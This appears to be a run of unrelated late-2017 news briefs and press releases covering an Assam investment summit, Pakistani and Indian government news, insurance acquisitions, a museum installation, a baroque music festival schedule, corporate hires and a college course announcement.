"Efforts are underway to improve national waterways across Brahmaputra and Barak and provide connectivity to ports in Bangladesh across the border," said Assam Chief Secretary V.K. Pipersenia.

The state government has also set up a separate department for promoting the Prime Minister's Act East vision and position Assam as the centre for India-Asean interface.

"We are building a World Trade Centre in Guwahati, which will house consulates from the Asean region," added Sonowal, who, along with officials, held interactive sessions with top executives of Biocon, Toyota Kirloskar Motor Ltd, Wipro, IBM, Bharat Electronics, BEML and ISRO.

The two-day summit, to be inaugurated by Prime Minister Narendra Mod on February 3, is aimed at flagging the state's geo-strategic advantages and opportunities for investors from across the country and overseas.

The Federation of Indian Chamber of Commerce and Industry is the summit partner.
Lucknow, Dec 19 : The Uttar Pradesh government on Tuesday terminated the services of former Director of the Forensic Science Lab (FSL), an official said.

The services of Shyam Bihari Upadhyaya had been terminated "in public interest", said Principal Secretary (Home) Arvind Kumar.

Upadhyaya was Director of the FSL when a suspicious powder was found in the state assembly and he had erroneously termed it as PETN, a highly explosive chemical compound.

He was suspended on September 4, following a probe.

After a go-ahead from Governor Ram Naik, the state government has also issued dismissal order of FSL Scientific Officer Raghvendra Yadav.

Both officers have been given compulsory retirement and they would be eligible for three months' salary and other perks.

Earlier in the day, there were heated exchanges in the state assembly between the treasury and the opposition benches and the latter slammed the government over the incident.
Islamabad, Dec 20 : Pakistan on Tuesday rejected the allegations levelled against it by US President Donald Trump in the newly-released US National Security Strategy 2017.

In a statement from the Ministry of Foreign Affairs, Pakistan said it rejects the unfounded accusations that contradict facts, trivialise Pakistan's efforts in fight against terrorism and its unmatched sacrifices to promote peace and stability in the region.

"Pakistan has long been at the forefront in the fight against regional and global terrorism. It is because of Pakistan's cooperation with the international community, acknowledged and appreciated by the US leadership, that the Al- Qaeda core was decimated from the region," Geo News cited the statement as sying.

The Foreign Ministry stated that Pakistan continues to suffer due to state sponsored terrorism, funded and abetted by its neighbours through proxies.

"These proxies, consisting of individuals, organisations and intelligence agencies, are working against Pakistan at the behest of regional adversaries. The self-proclaimed guarantors of peace and phony regional powers are pursuing this nefarious game of expansionism to the detriment of regional and global peace," the statement added.

"Destabilising policies and actions by some countries to maintain their hegemony in pursuit of absolute power are responsible for instability in several parts of the world, including ours," the statement said.

The ministry also said countries emerge as regional or global powers on the basis of their constructive contributions, adding that it does not fall upon one country to bestow such status on any state.
NFP, a leading insurance broker and consultant that provides employee benefits, property & casualty (P&C), retirement and individual private client solutions, today announced that it has acquired TC Insurance Services. The transaction closed effective November 1, 2017.

Based just outside Las Vegas, Nevada, TC Insurance Services is a P&C broker that provides commercial transportation insurance for small to mid-sized trucking and towing fleets in Texas, Nevada and the surrounding states. Principal Frank Maglalang will join as a vice president in NFPs P&C division and report directly to Ed Kurowski, Regional President, NFPs P&C division, Mountain States region.

Were thrilled to welcome TC Insurance Services to the NFP family and bring aboard an experienced product expert in Frank, said Kurowski. The addition of the TC Insurance Services team allows NFP to diversify its revenue base in the commercial transportation space, an area that has long been attractive to NFP, and gain relationships in the South Central region.

We are very excited to join the NFP network, filling a need in their offerings and earning a place on their product shelf of robust P&C services, said Maglalang. We look forward to expanding our specialty offerings in commercial transportation to strengthen current client relationships and forge new rapports in the market.

About NFP

At NFP Corp., our solutions and expertise are matched only by our personal commitment to each client's goals. Were a leading insurance broker and consultant that provides employee benefits, property & casualty, retirement and individual private client solutions through our licensed subsidiaries and affiliates.

NFP has more than 3,800 employees and global capabilities. Our expansive reach gives us access to highly rated insurers, vendors and financial institutions in the industry, while our locally based employees tailor each solution to meet our clients' needs. Weve become one of the largest insurance brokerage, consulting and wealth management firms by building enduring relationships with our clients and helping them realize their goals.

Recently NFP was ranked the 4th largest U.S.-based privately owned broker and the 5th largest benefits broker by global revenue by Business Insurance, the 9th largest property & casualty agency by total 2016 P&C revenue by Insurance Journal, the 11th largest global insurance broker by Bests Review and the 12th largest broker of U.S. business by Business Insurance.

For more information, visit NFP.com.

CONTACT

Peppercomm for NFP

nfp(at)peppercomm(dot)com

212-931-6171
The new installation brings to mind the Museums history of weaving exhibits providing tactile materials for visitors of all ages. It gives us a break from technology and invites us to work with our hands to make something.

Boston Childrens Museum announces the opening of Lineplay: Taut /Slack. Artist and educator, Samantha Fields, created the new, interactive installation combining knitting, ceramics, and weaving.

Samanthas work combines the hard surfaces of ceramics with the softer textures of knit and woven fibers. Visitors are invited to explore the space and the materials, add to the installation by practicing at the wall loom, or curl up in a cozy corner. The materials are all made by hand, including the ceramics, which were created this past summer.

The new installation brings to mind the Museums history of weaving exhibits providing tactile materials for visitors of all ages, said Rachel Farkas, Curator of Collections. It gives us a break from technology and invites us to work with our hands to make something.

With the current culture of multi-tasking and our product-driven society, making slowly is a personal act of resistance, said Samantha Fields. We have become more definitively disconnected from the products of our own making. We no longer make, we buy. Crocheting, embroidery, and weaving have the trace of the hand and the understanding of labor and time, and are imbued with our everyday experience.

Samanthas hometown of Brockton, MA was an epicenter of the shoe and textile industries in the early 20th century. These roots have influenced her work and are expressed through her choices of materials and content. As a multimedia artist, Samantha engages with weaving, needlework, and sewing as a survival mechanism, aesthetic, and conceptual strategy. She studied at The School of the Museum of Fine Arts, Boston, where she received her MFA in 2005, as well as Massachusetts College of Art, where she earned her undergraduate degree in 1996. She is now adjunct faculty at both institutions. Her work has been supported through numerous grants, fellowships, and residencies and has exhibited extensively throughout New England, as well as nationally and abroad. She lives and works in the Boston area.

The artist will be leading an interactive weaving demonstration playing with lines on Thursday, December 28 from 11:00am - 4:00pm in the Gallery. Using a floor loom, visitors will have the opportunity to watch and weave creating a communal piece of cloth. This program is recommended for visitors ages 6 and over.

The installation is scheduled to run through March 18, 2018

For additional information visit http://www.BostonChildrensMuseum.org

About Boston Children's Museum

Boston Childrens Museum engages children and families in joyful discovery experiences that instill an appreciation of our world, develop foundational skills, and spark a lifelong love of learning. More information about Boston Childrens Museum can be found at http://www.BostonChildrensMuseum.org. Become a fan of the Museum on Facebook and follow us on Twitter

Hours and Admission

The Museum is open daily from 10:00 a.m.  5:00 p.m. Fridays until 9:00 p.m. Adults, $17, children (1-15) and senior citizens, $17; children under 12 months and Museum members are always free. Fridays 5:00 pm  9:00 pm, all visitors $1.
Each of these firms expands a regional presence for Alera Group. Were excited to welcome these three firms to Alera Group.

Alera Group, a leading national employee benefits, property and casualty, risk management and wealth management firm, completed three new acquisitions, all effective December 1, 2017. With this latest round of acquisitions, Alera Group acquired a total of 15 new firms in six states in 2017.

The three new firms are:

Armstrong/Robitaille/Riegle Business and Insurance Solutions, located in Irvine, CA, specializes in developing unique ways for its property and casualty clients to implement the risk management process. Armstrong/Robitaille/Riegle Business and Insurance Solutions uses a proactive approach to identify risks and develop cost-effective strategies, ultimately delivering superior results and providing clients with a competitive industry advantage. Outstanding solutions are achieved with a foundation of trusted, expert advisors who understand the needs of their clients.

Hallberg Commercial Insurers, Inc., located in Oakbrook, IL, provides employee benefits, risk management and insurance services to clients in the Chicagoland area. Through loyalty, integrity and compassion, Hallberg Commercial provides effective coverage for businesses, organizations and clients throughout the Midwest. Hallberg Commercial will join Alera Group through local firm GCG Financial.

The employee benefits division of Walker Higgins Associates, in Spartanburg, SC, provides strategic employee benefits solutions. Their solution-oriented approach allows clients to provide excellent benefits to each of their employees while minimizing costs. Walker Higgins Associates will join Alera Group through local firm Forum Benefits.

Each of these firms expands a regional presence for Alera Group. Specifically, Armstrong/Robitaille/Riegle Business and Insurance Solutions gives us a very strong presence in southern California in combination with The Centennial Group. Hallberg Commercial Insurers, Inc. is a great fit with GCG Financial in the Chicago area. Finally, the employee benefits division of Walker Higgins Associates expands our presence in South Carolina with Forum Benefits. Were excited to welcome these three firms to Alera Group, said Alan Levitz, CEO of Alera Group.

Todays announcement comes on the heels of three acquisitions in November 2017. The firm continues to grow organically and through acquisitions since its formation in December 2016. For more information on partnering with Alera Group, visit Partnership Opportunities at http://www.aleragroup.com.

About Alera Group

Based in Deerfield, IL, Alera Groups over 800 employees serve more than 20,000 clients nationally in employee benefits, property and casualty, risk management and wealth management. Alera Group was created by merging 24 high-performing, entrepreneurial firms across the U.S. It is the 14th largest independent insurance agency and the 7th largest independent employee benefits firm in the country. For more information, visit http://www.aleragroup.com or follow Alera Group on Twitter: @AleraGroupUS.
"We are honored to support the Urban Warrior Program so the YMCA and its dedicated veteran volunteers can continue their important work," said Chicago Skyway CEO Fernando Redondo.

Skyway Concession Company (SCC), operators of the Chicago Skyway Toll Bridge (Chicago Skyway), kicked off the 2017 Holiday season with a show appreciation for military veterans who are mentoring youth in some of Chicagos most violent communities. SCC donated $10,000 to the YMCAs Urban Warrior Program. The program, part of the YMCAs Youth Safety and Violence Prevention initiative, teams veteran mentors with youth traumatized by violence in their communities. In the process of helping these youth to heal, veteran mentors find that they are better able to cope with their own trauma.

The Urban Warrior Program is doing much-needed work in local Chicago neighborhoods. This program is helping these young people learn to cope with the effects of violence in a healthy way. By giving of themselves as mentors, our returning veterans are in turn healing from their own traumatic experiences, while they transition back to civilian life in the community, said CEO Fernando Redondo, We are honored to support the Urban Warrior Program so the YMCA and its dedicated veteran volunteers can continue their important work. They are leading by example to help break the cycle of violence in our neighborhoods.

In addition to its support of the Urban Warrior Program, SCC continued its tradition of awarding local neighborhood public schools with $2,500 to $5,000 grants to help schools address student unique needs. The selected schools were nominated by local elected representatives from the four wards surrounding the Chicago Skyway - the 7th, 8th, 10th and 20th wards. This year, the grant money will be used to purchase new conflict resolution educational software, school spirit materials, and a variety of prize incentives for student achievement and parent participation.

About the Chicago Skyway:

Built by the City of Chicago in 1958, the Chicago Skyway Toll Bridge is a 7.8-mile-long toll road that connects the Indiana Toll Road to the Dan Ryan Expressway on Chicago's South Side. The main feature of the Skyway is a 12-mile-long steel truss bridge, known as the "High Bridge." The bridge itself spans the Calumet River and Calumet Harbor, a major harbor for industrial ships  its main span extends 650 feet long and provides for 125 feet of vertical clearance.

The City of Chicago maintained and operated the Chicago Skyway until January 2005 when Skyway Concession Company assumed those responsibilities pursuant to a 99-year lease. The lease agreement between Skyway and the City of Chicago was the first privatization of an existing toll road in the United States.
Cleveland School of Cannabis Logo As an educational facility that is working to advance the study and understanding of cannabis in our country today, we are incredibly honored to be the second State approved institution in the country right now, said Richard Pine, Dean of Recruitment and Public Relations.

Cleveland School of Cannabis, formerly Cleveland Cannabis College, the first brick and mortar educational facility in Ohio for cannabis education, this week announced they have received State approval, making them the first career school east of Colorado with state-approved career programs.

The Ohio State Board of Career Colleges and Schools approved all four programs by the Cleveland School of Cannabis, contingent upon the occupancy permit from the city, scheduled later this week.

As an educational facility that is working to advance the study and understanding of cannabis in our country today, we are incredibly honored to be the second State approved institution in the country right now, said Richard Pine, Dean of Recruitment and Public Relations at the Cleveland School of Cannabis.

Winter registration is now open for classes starting at the school in January. The state approved certificates run from $6,500 to $12,500, with program hours ranging from 136 to 266.5 in total. They also offer single courses ranging from $350 to $1,000, and even offer state-mandated classes, just for physicians and dispensaries.

With over 4,000 jobs being created in the Ohio cannabis industry, space is limited and filling up quickly, said Pine. We urge anyone who is interested to sign up either online or to stop in and speak with one of our Admission Representatives.

The Cleveland School of Cannabis now offers certificate programs in Cannabis Business, Cannabis Horticulture, Medical Applications of Cannabis, and Cannabis Executive, which is a combination of all three. Their certificate programs are considered at the same level of an accounting certificate, real estate certificate, paralegal certificate, etc.

Recently, the school secured a few of their students in a special Oregon internship program called Trim for Training, where they completed one-of-a-kind hands on training for a few months. In addition, Cleveland School of Cannabis also has plans to expand into Cincinnati and Columbus.

For more information, visit: http://csceducation.com/.
Julie Cote MD, FRCPC

Multiple Myeloma is a hematological tumor of plasma cells in the bone marrow which can appear insidiously. This disease may also be associated with several complications which stresses the importance of an early diagnosis. This educative webinar aims to inform and raise awareness among primary care physicians, general practitioners and internists, about the clinical picture, investigation and rapid care management of Multiple Myeloma patients.

Participants of this webinar, which is sponsored by the Binding Site, will learn to recognize clinical symptoms and signs of Multiple Myeloma. They will gain a better understanding of the importance of rapid care management of Multiple Myeloma patients.

The speaker for this event will be Dr. Julie Cote from the University Hospital Center of Quebec. Cote received her doctorate in medicine at Laval University in Quebec City. She later completed her postdoctoral clinical training in plasma cell dyscrasias at the Princess Margaret Cancer Center in Toronto. She is now part of the medical team of the University Hospital Center of Quebec. She is also a member of Myeloma Canada and the Myeloma Canada Research Network.

LabRoots will host the webinar in French, with English subtitles, on January 9, 2018. The webinar will begin at 9:00 a.m. PST, 6:00 p.m. CET and will be available on demand following the live event. To learn more about this event, discover the continuing education credits that will be offered, or to register for free, click here.

About Binding Site

Binding Site is committed to improving patient lives worldwide through education, collaboration and innovation. The company focuses on research, development, manufacture and distribution of innovative immunodiagnostic systems and assays for the global laboratory market. By utilizing its specialized expertize in antibody specificity technology, Binding Site has developed a broad menu of special protein assays, including the Freelite test, the only FDA cleared and guideline-recommended serum free light chain assay on the market. Binding Site gives clinicians and laboratory staff the tools to significantly improve diagnosis and management of those patients with specific cancers and immune disorders.

For more information about Binding Site, please visit http://www.thebindingsite.com.

About LabRoots

LabRoots is the leading scientific social networking website, which provides daily scientific trending news, as well as produces educational virtual events and webinars, on the latest discoveries and advancements in science. Contributing to the advancement of science through content sharing capabilities, LabRoots is a powerful advocate in amplifying global networks and communities. Founded in 2008, LabRoots emphasizes digital innovation in scientific collaboration and learning, and is a primary source for current scientific news, webinars, virtual conferences, and more. LabRoots has grown into the worlds largest series of virtual events within the Life Sciences and Clinical Diagnostics community.
Hutto Independent School District Joins the Texas Purchasing Group This level of tracking, both pre-and post-award is very helpful for auditing and showing due diligence.

Hutto Independent School District officially announced today it has joined the Texas Purchasing Group, an e-sourcing solution from BidNet that provides nearly 50 local government agencies throughout Texas a solution for bid and vendor management. Hutto Independent School District invites all potential vendors to register online at http://www.bidnetdirect.com/texas to access its upcoming solicitations.

Prior to joining the Texas Purchasing Group, Hutto Independent School District published solicitations directly to their own website. This process will continue with notices, but all vendors must register with the Texas Purchasing Group in order to download documents and view the full solicitation details. By publishing future solicitations on the Texas Purchasing Group, Hutto Independent School District will be able to track every step of the process and have a much more transparent bid process. Participating government agencies using the Texas Purchasing Group can track full business details of the vendors who view an RFP, which ones download the related documents, and if needed, whether they saw a addendum.

This level of tracking, both pre-and post-award is very helpful for auditing and showing due diligence, says Caleb Steed, Purchasing Specialist of Hutto Independent School District.

Hutto Independent School District invites all local vendors to receive access to its upcoming solicitations by joining the Texas Purchasing Group. Vendor benefits of registering on http://www.bidnetdirect.com/texas include:



Centralized Location to Opportunities from all 37 Participating Agencies

Notification of Term  Contract Expiration

Bid Alerts Customized to the Vendors' Products or Services Provided

Full Customer Service Support

About the Hutto Independent School District:

Hutto ISD is located in Hutto, TX, a Central Texas community in the greater Austin area. Hutto ISD is known as Hippo Nation, in honor of its unique mascot, the Hippos. The district has one high school, two middle schools and six elementary schools, with groundbreaking for a seventh elementary set for spring 2018. The school district has approximately 7,000 students and over 1,000 employees. It is one of the fastest growing school districts in Texas.

About the Texas Purchasing Group:

The Texas Purchasing Group is a part of BidNets regional purchasing groups available at no cost to local government agencies. With years of input from procurement professionals, BidNet specifically developed the bid system to fill the need for a robust bid and supplier management solution for local government agencies. BidNet runs regional purchasing groups throughout the country used by nearly 1,200 local government agencies. To learn more about the features and modules available to government agencies, please visit http://www.SourceSuite.com
Alchemy-Spetec is excited to welcome Jim Spiegel as the newest member of their team. Jim comes on as the V.P. of Sales and Business Development for the growing Atlanta-based company. Jim brings 12 years of chemical injection and concrete repair experience.

Alchemy-Spetec offers the industry a unique combination of technical support and products for geotechnical, waterproofing, and concrete repair applications. With much of his experience coming from domestic sales management and international distribution, Jim offers a valuable piece in both Sales and Business Development across all product segments.

When asked about the outlook for the company, Jim said, Looking closely at the Alchemy-Spetec team, you find many decades of collaborative experience representing the most well-known brands in the chemical grout industry. We have relevant and professional experience in ownership, management, business intelligence, marketing, production, and sales. Its very clear that this company is committed to building a quality team, product line, and industry name.

Alchemy-Spetec President and CEO Stephen C. Barton added, "I am thrilled to welcome Jim Spiegel to the team as our V.P. of Sales and Business Development. Jim's high energy and determined focus will help us as we continue to innovate and change the geotechnical and waterproofing landscapes. Our strategic partners will benefit from Jim's ability to identify and promote new opportunities."

About Alchemy-Spetec:

Alchemy-Spetec Managing Partner President Stephen C. Barton has been at the forefront of the concrete repair industry for over 30 years. Running leak seal crews in his teens, developing breakthrough polyurethane technology in his twenties and helping grow the market ever since, Mr. Barton has been a leader in the field for most of his life. Belgium based partner Koramic Construction Chemicals (a division of the Koramic Group) has factories in Belgium, France, Switzerland and Turkey. The Koramic Group is a privately owned company active in a wide range of industrial activities and employing over 6000 people in 15 countries.

Please look for Alchemy-Spetec at the World of Concrete in the Silver Lot directly across from the entrance to the South Hall where they will be performing live slab lifting demos and showcasing both the geotechnical and waterproofing product lines.
Much of this early music was performed when San Antonio was founded in 1718.

St. Mark's Episcopal Church, a downtown landmark, has a 26-year history of providing free concerts to the city of San Antonio. Expanding musical offerings by partnering with other respected institutions is now making possible a 6-day festival with an emphasis on musical education and outreach.

As the San Antonio Tricentennial milestone approached, Dr. Richard Butler, a member of St. Mark's Episcopal church and an early music enthusiast, provided the vision and underwriting to establish a permanent early music presence in San Antonio. That vision became the Alamo Baroque Festival.

http://www.AlamoBaroqueFestival.org

Much of this early music was performed when San Antonio was founded in 1718, said Butler, Professor Emeritus of Economics at Trinity University and a congregant of St. Marks Episcopal Church. Our neighbors Austin, Dallas and Houston have started early music festivals and the time is right for San Antonio.

St. Marks Episcopal Church will host the festival January 8-13, 2018. It is an official Tricentennial celebration event.

Music written hundreds of years ago can sound as fresh and alive today as when it was first heard, said Dr. Joseph Causby, Organist/Choirmaster at St. Marks Episcopal Church. Recorders, baroque violins and trumpets, harpsichords, and viola da gamba excite the senses now as they did centuries ago.

The Alamo Baroque Festival will increase public awareness of the richness and variety of classical music before 1750, create opportunities for the performance of this repertoire, and educate musicians of all backgrounds, ages, and abilities in the techniques appropriate to early music.

We have the best of the best performing, adds Causby. The public performances, master classes, and private instruction are free and open to all.

http://foxsanantonio.com/news/focus-on-south-texas/first-ever-alamo-baroque-festival

On Thursday, January 11, 2018, Trinity University will host a panel discussion with festival guest artists. Texas Public Radios Nathan Cone will moderate a talk on why baroque music is relevant, career highlights of Festival faculty, classic music in a 21st century world, and the future of early music in San Antonio.

What: Alamo Baroque Festival presented by St. Marks Episcopal Church



Free public performances, master classes, and private instruction (by audition)

The Alamo Baroque Festival covers the large historical span of early music in all of its forms, presenting ensembles that are part of a movement that has swept the world of classical music: historically informed performances of vocal instrument and chamber music, from the Middle Ages through the eighteenth century, using period instruments.

For a schedule of events, go to http://www.AlamoBaroqueFestival.org

When: January 8-13, 2018

Where: St. Marks Episcopal Church located at 315 E. Pecan Street 78205

Who: St. Marks Episcopal Church, The Royal Academy of Music (London), Childrens Chorus of San Antonio, Youth Orchestras of San Antonio, Trinity University, and The University of Texas at San Antonio

Contact: Joseph Causby, St. Mark's Episcopal Church, 210-226-2425,

jcausby(at)stmarks-sa(dot)org

Artists: Alamo Baroque Festival Faculty:

Margaret Faultless, Baroque Violin

http://www.mus.cam.ac.uk/directory/maggie-faultless

Elisabeth Reed, Gamba and Baroque Cello

http://music.berkeley.edu/people/elisabeth-reed-2/

Jacqueline Horner, Soprano

http://www.jacquelinehorner.com

Robin Tyson, Countertenor

http://www.epamartists.com

Paul Phoenix, Tenor

http://www.purplevocals.com

Alex Ashworth, Bass

http://www.alexashworth.com

St. Marks Episcopal Church promotes sacred music, bringing guest musicians into the community and underwriting special musical events. Now in our 25th year of bringing music to the wider San Antonio community, St. Mark's brings together the choirs of St. Marks with partner organizations to offer free concerts for the benefit of all. http://www.stmarks-sa.org

St. Mark's Core Vocation:

Feeding San Antonio with the Bread of Life



Feeding the hungry with real food

Feeding those who are hungry for knowledge and meaning

Feeding those who are hungry for beauty and creativity

2018 Alamo Baroque Festival Schedule

(All events are free to attend.)

For questions on schedule, please contact Dina Aboul Saad at dsaad(at)stmarks-sa(dot)org or go to http://www.AlamoBaroqueFestival.org

Dates below are January 2018:

Monday, January 8, 10:00 a.m.to 12 p.m.

Open Rehearsal with Baroque Orchestra. (Members of the San Antonio symphony and university students.)

Monday, January 8, 2:00-4:00 p.m.

Open Rehearsal with Baroque Orchestra. (Members of the San Antonio symphony and university students.)

Monday, January 8, 5:30 p.m.

Private instruction: Vocal Faculty work with Children's Chorus of San Antonio at St. Davids Episcopal Church

Monday, January 8, 6:00-8:00 p.m.

Private instruction: String Faculty offer private and group instruction at St. Marks. This includes "Intro to the Viol Consort." Register here to reserve your spot.

Tuesday, January 9, 10:00 a.m.-2:00 p.m.

Private instruction: String and Voice Faculty offer private and group instruction at St. Marks. Register here to reserve your spot.

Tuesday, January 9, 3:00-5:00 p.m.

Public Master Class for voice and strings.

Register here to reserve your spot.

Wednesday, January 10, 10:30 a.m.

Public Concert: Festival faculty in Alamo Plaza

Wednesday, January 10, 1:30 p.m.

Working with budding musicians at David Crockett Elementary School: Festival Faculty performance and Q&A

Wednesday, January 10, 3:00-5:00 p.m.

Open Rehearsal with Baroque Orchestra. (Members of the San Antonio symphony and university students.)

Wednesday, January 10, 7:00-9:30 p.m.

Open Rehearsal with Baroque Orchestra and Choir at St. Mark's.

Thursday, January 11, 11:00 a.m.

Panel Discussion at Trinity University: Join us for a panel discussion with our guest artists and Dr Richard Butler. Nathan Cone of Texas Public Radio will moderate. Topics of discussion include why baroque music is relevant, career highlights of Festival Faculty, classical music in a 21st century world, the future of early music in San Antonio. Free and open to the public. Location on Trinity campus TBA.

Thursday, January 11, 7:00-9:30 p.m.

Faculty Concert at St. Mark's: A World Tour of the Baroque complete with repertoire from England, France, Germany, Spain including verbal program notes from Faculty. Free Public Concert and Parking. Official Tricentennial Event.

Friday, January 12, 1:30-4:00 p.m.

Private: Dress Rehearsal for Saturday Concert with Orchestra and Choir.

Saturday, January 13, 3:00-4:00 p.m.

Concert Finale: Repertoire includes Zadok the Priest (G. F. Handel), Welcome to All Pleasures (Henry Purcell), and Dixit Dominus (Handel). Free Public Concert and Parking. Official Tricentennial Event.
(L-R): C. Montanaro, Kearny Bank President and CEO; J. Gilman, Executive Director of the American Red Cross; P. Price, HR Administrator of Kearny Bank; R. Peluso, VP/Government Banking Officer of KB.

Kearny Bank employees participated in a recent, bank-wide fundraising initiative to benefit victims of hurricanes Harvey and Irma, both of which struck southern portions of the U.S. earlier this year. In total, employees donated more than $4,000 to the American Red Cross of Northern New Jersey.

Under the one-month initiative, Kearny Bank staff donated $5 to wear jeans to the office on Fridays. The program was established based on multiple offices expressing a strong desire to support those impacted by the two storms.

The Red Cross is an exceptional organization, one were proud to support, says Craig Montanaro, President and CEO of Kearny Bank. Last year we provided a grant, and this year, our employees were eager to respond to a more direct crisis. Tragically, the 2017 hurricane season presented us with perfect opportunities.

Hurricane Harvey hit Houston on August 17, causing 91 fatalities and almost $200 billion in damages. On August 30, Hurricane Irma struck Puerto Rico and then Florida, resulting in 134 deaths and more than $65 billion in damages.

About Kearny Bank

Kearny Financial Corp. is the parent company of Kearny Bank, which operates from its administrative headquarters building in Fairfield, NJ. Kearny Bank has supported the communities it serves since 1884. The bank has assets of $4.8 billion and operates 42 full-service banking offices in northern and central New Jersey, and in Brooklyn and Staten Island, NY. Kearny Bank was recently named to Forbes list of the 50 Most Trustworthy Financial Companies.
Student Notification Beacons The company also offers both indoor and outdoor Notification Beacons for use in dorms, classrooms, parking lots, campus walkways and more.

Desktop Alert Inc. today announced the company is donating its award winning PC Popup notification platform to any U.S. Learning institutions. The platform is certified and approved by the U.S. Federal Government and NATO and operates in the cloud or on-premise behind the customers firewall.

If we hang our hat on anything it would be our industries best-of-breed desktop alerting software. In a perpetual state of advancement since 2003, our computer popup system is the most technologically advanced network alerting system tool (NAS) worldwide. Interactive two-way desktop alerting is without question the most effective and rapid way to communicate with students and personnel who are engaged with networked computer workstations. During an emergent event our desktop alerts engage end-users instantly in a real-time bi-directional communication process. Ryan added.

The company also offers both indoor and outdoor Notification Beacons for use in dorms, classrooms, parking lots, campus walkways and more. Additional end-points available with the system are social media sites, text messaging, digital signage, phone call alerting (real-voice or text-to-speech), e-mail alerts, mobile apps for IoS, Android and Blackberry, integration with fire alarm systems, intercom systems, Giant Voice systems and the IPAWS and CAP protocols.

Removing the cost proposition for this crucial and must have alerting requirement will enable any U.S. based learning institution to significantly bolster student and personnel safety with instant and discreet alerts to computer screens. In light of recent tragic events within our nation's learning institutions, through research we discovered that there are literally thousands of schools who do not possess this simple capability for sending emergency alerts to desktops. Our PC Alerting Popup donation program will help protect millions of students and personnel currently unequipped with such a system with instant alerts directly to their PC's during an emergent event. said Howard Ryan, Founder Desktop Alert Inc.

To apply for the donation program visit the companies website contact page.

About Desktop Alert Inc. https://www.desktopalert.net

Here is a list of all Desktop Alert Inc. Press Releases

Desktop Alert is a leading provider of enterprise mass notification and emergency communications products and services to the United States Department of Defense, federal government and First-Responders around the world. Its innovative and patented software has been internationally recognized as a Best Mass Notification and Best First Responder Interoperable Communications system. Desktop Alert provides a suite of scalable, flexible, and adaptable communication, collaboration, and situational awareness tools in environments ranging from austere - no terrestrial infrastructure support - to fully modern with extensive IP and legacy system integrations. Desktop Alert optimizes the communications flow with timely, accurate information to ensure effective decision making, coordination, proactive community engagement, and public awareness.
GoHealth, the leading health insurance technology and services platform, today announced that Mike Wallach has been named Chief Marketing Officer. Wallach will focus his initial efforts on building brand awareness and identifying new efficient growth drivers.

Mike brings expertise on both lead generation and brand marketing to GoHealth, said GoHealth President, Brandon Cruz. Were all excited to have someone with Mikes impressive background and experiences leading the marketing team.

Prior to joining GoHealth, Wallach was Head of Consumer Acquisition at DIRECTV in Los Angeles, where he set annual consumer subscription sales records. Wallach also worked as the Senior Vice President of Marketing and Director of CRM at SunTrust Banks, Inc in Atlanta, where he led the implementation of the companys enterprise CRM.

Most recently, Wallach was the Chief Marketing Officer at Phoenix-based OfferPad, an online home-buying and selling platform. During his time at OfferPad, Wallach drove triple-digit increases in site traffic and sales.

Im really excited to join the GoHealth team, said Wallach. The health insurance industry is positioned for significant growth, and GoHealth is poised for tremendous success.

Wallach graduated from the University of Illinois Urbana-Champaign with a degree in English literature, and he holds an MBA in finance and marketing from the Kellogg School of Management at Northwestern University.

About GoHealth:

GoHealth is a Chicago-based company that powers GoHealthInsurance.com, a private health insurance marketplace that has helped millions of consumers shop for coverage. With world-class technology and a team of licensed insurance agents, GoHealth helps individuals and families obtain the right health insurance coverage. Working with the nations top health insurance companies, GoHealth enables consumers to easily compare and shop for a variety of brand-name health plans. GoHealth provides plan recommendations and enrollment support by phone and online at no cost to consumers. In 2013, the GoHealth Marketplace became the first private exchange to enroll consumers in subsidized health insurance under the Affordable Care Act. In addition to powering a private marketplace, GoHealth licenses technology solutions and provides business process outsourcing services related to individual health insurance. GoHealth was named to the list of 2017 Best and Brightest Companies to Work For in the Nation. GoHealth was founded in 2001.
Sierra College student, James Grande won the Mechatronics for Humanity showcase with his Water Warden mechatronics device that reduces water waste. Sierra College students will learn what it means to be a social entrepreneur and take action to ensure a better future for society.

Sierra College students will become agents of change, developing innovation skills, identifying resources and using their passion to address social and environmental problems in the new Business 143 Social Entrepreneurship class starting in January on Monday and Wednesday from 12:30 to 1:50 PM at the Rocklin campus. Sign up now for classes starting January 22, 2018 by going to Sierra College registration information.

According to Denise Bushnell, Business Professor, Sierra College, and North Far North Regional Entrepreneurship/Small Business Coordinator, students will gain an entrepreneurial mindset and other 21st century skills sought by employers and useful for startup businesses. Students in the Business 143 class will learn while following their passion to establish ventures that address social or environmental problems, said Bushnell. They will learn what it means to be a social entrepreneur and take action to ensure a better future for society.

Students will also work out in the community and participate in a hands-on project at Hacker Lab powered by Sierra College. No pre-requisites are required. The course will teach students how to be problem solvers as they seek ways to address social issues and provide benefits to society. The class will not cover creating a non-profit business.

Sierra College students are inspired by applying their innovation skills to benefit humanity, explained Carol Pepper-Kittredge, Statewide Project Manager, CCC Maker, housed at Sierra College. Mechatronics 90 students in the capstone class were given memberships at Hacker Lab Powered by Sierra College, through a US Bank sponsored scholarship, to prototype human-centered design solutions, said Pepper-Kittredge.

At a showcase on Friday, December 8 at Hacker Lab, students pitched their concepts and demonstrated mechatronic inventions that would make a difference in society, said Pepper-Kittredge. Students presented projects such as a robotic arm, a scientific testing device, an app-activated deadbolt and a water conservation project. James Grande won the social benefit showcase for his Water Warden that reduced the loss of groundwater. He was awarded funding to pursue his prototype further.

Tiffany McCarroll, a May 2017 business graduate of Sierra College, exemplifies students drive to make a difference in their own lives as well as others, according to Bushnell. Tiffany and her daughter were homeless when she enrolled at Sierra College in 2013, said Bushnell. Through the college, she connected with resources and had started taking classes when I became her mentor.

I saw her passion for helping others as she logged more than 1000 hours tutoring other students, and then developed online student-to-student tutoring and Sunday peer tutoring sessions to benefit students who worked full-time and lived far away from campus, said Bushnell. Being employed as a tutor allowed her to help others while earning an income to support her family. Most recently, Tiffany introduced an on-campus therapy dog with posted office hours that has consoled over 50 students. The new Social Entrepreneurship course will make it possible for more students like Tiffany to impact their world.

For more information about mechatronics, business classes and other classes as well as the new Business 143 Social Entrepreneurship course, go to the Sierra College website. Hacker Lab powered by Sierra College is a community makerspace open to the public and offers members 24/7 access. Sierra College students can join Hacker Lab for the semester at a reduced monthly rate and reasonable rates are available for individual and family memberships.

About Sierra College

Sierra College District is celebrating its 80th Anniversary in 2016, and the Nevada County Campus in Grass Valley is celebrating 20 years. Sierra College serves 3200 square miles of Northern CA with campuses in Roseville, Rocklin, Grass Valley, and Truckee. With approximately 125 degree and certificate programs, Sierra College is ranked first in Northern California (Sacramento north) for transfers to four year Universities, offers career/technical training, and classes for upgrading job skills. Sierra graduates can be found in businesses and industries throughout the region.
